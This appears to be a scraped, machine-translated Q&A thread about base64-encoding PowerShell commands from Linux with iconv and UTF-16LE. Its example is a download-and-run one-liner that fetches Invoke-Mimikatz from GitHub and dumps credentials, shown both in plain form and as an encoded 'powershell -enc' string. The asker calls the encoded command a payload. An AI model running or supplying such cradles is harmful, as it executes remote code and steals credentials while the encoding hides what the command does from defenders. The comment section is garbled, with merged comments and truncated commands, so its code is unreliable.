Bash 需要Powershell base64编码

Bash 需要Powershell base64编码,bash,powershell,base64,Bash,Powershell,Base64,我想在powershell中执行base64编码的命令。例如,我从这个github repo获取了一个命令:。运行mimikatz one: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpC

我想在powershell中执行base64编码的命令。例如,我从这个github repo获取了一个命令:。运行mimikatz one:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m
如果我在powershell提示符下直接运行它,它将正常工作。通过检查base64编码版本,我发现它也可以正常工作:

powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==
然而,我不确定这个字符串是如何编码的。如果我尝试在Linux中对它进行编码,我会得到一个不同的字符串(我只是更改了引号以防止bash解释$):

尝试使用powershell-enc运行此编码时失败


我应该使用什么编码使字符串与powershell完全兼容?

使用powershell示例中的编码

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("command_goes_here"))

PowerShell希望base64字符串是
Unicode
编码的,并且
Unicode
是用于little-endian UTF-16的Windows行话

如果需要在不访问.NET的情况下对linux shell中的PowerShell命令进行编码,则可以使用
iconv
转换为
UTF-16LE

iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0

但我需要从Linux机器上对其进行编码,而不是本机编码。我猜这和编码有关。另外,我刚试过,结果也没用。(代码太长,无法在回复中发布,但失败,因为术语“=”无法识别为cmdlet、函数、脚本文件或可操作程序的名称。请检查名称的拼写,或者如果包含路径,请验证路径是否正确,然后重试。第1行字符:154”)确实(+1);为了适应通过stdin提供字符串的情况:
printf%s'…'|iconv-t UTF-16LE | base64-w 0
iconv-f ASCII-t UTF-16LE是的,但是在这里使用管道上的进程替换也没有好处,请避免
echo
以防止从
-
。最后一个最重要的问题是:
echo
附加一个尾随换行符,这在这里并不重要,但在其他上下文中可能会发生。注意:如果不需要额外的尾随换行符,那么最简单的解决方案是
bash
ksh
zsh
(但不是POSIX,只有
dash
等shell功能)是使用:
iconv-f ASCII-t UTF-16LE谢谢,这太棒了。我不得不在powershell命令中使用双引号,并将所有内容都用单引号括起来,以防止bash(例如$)解释特殊字符。用于生成有效负载的最后一个命令是:iconv-f ASCII-t UTF-16LE
iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0